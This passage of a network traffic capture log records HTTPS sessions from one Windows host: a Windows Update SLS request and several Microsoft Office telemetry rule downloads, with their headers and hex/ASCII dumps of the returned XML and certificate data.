2024-11-19 18:14:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rfONvscVnfuNh87&MD=NpLzTHHd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 18:14:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 6e8f90f0-a340-45d8-a93b-668a3e05ca90 MS-RequestId: e671d81c-7d2e-44ac-803f-7e0a5b56a5b0 MS-CV: a6YpYX57/UqfTKzD.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 18:14:57 GMT Connection: close Content-Length: 30005
2024-11-19 18:14:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-19 18:14:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:14:59 UTC	492	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181459Z-185f5d8b95cwtv72hC1NYC141w000000090g00000000de8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:14:59 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-19 18:14:59 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:00 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181500Z-185f5d8b95cdh56ghC1NYCk1x400000002vg00000000tus1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181500Z-185f5d8b95ctl8xlhC1NYCn94g000000093g00000000sgpv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181500Z-185f5d8b95cdtclvhC1NYC4rmc00000009ag000000000kwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:00 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181500Z-1777c6cb754mqztshC1TEB4mkc00000008m0000000001bbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
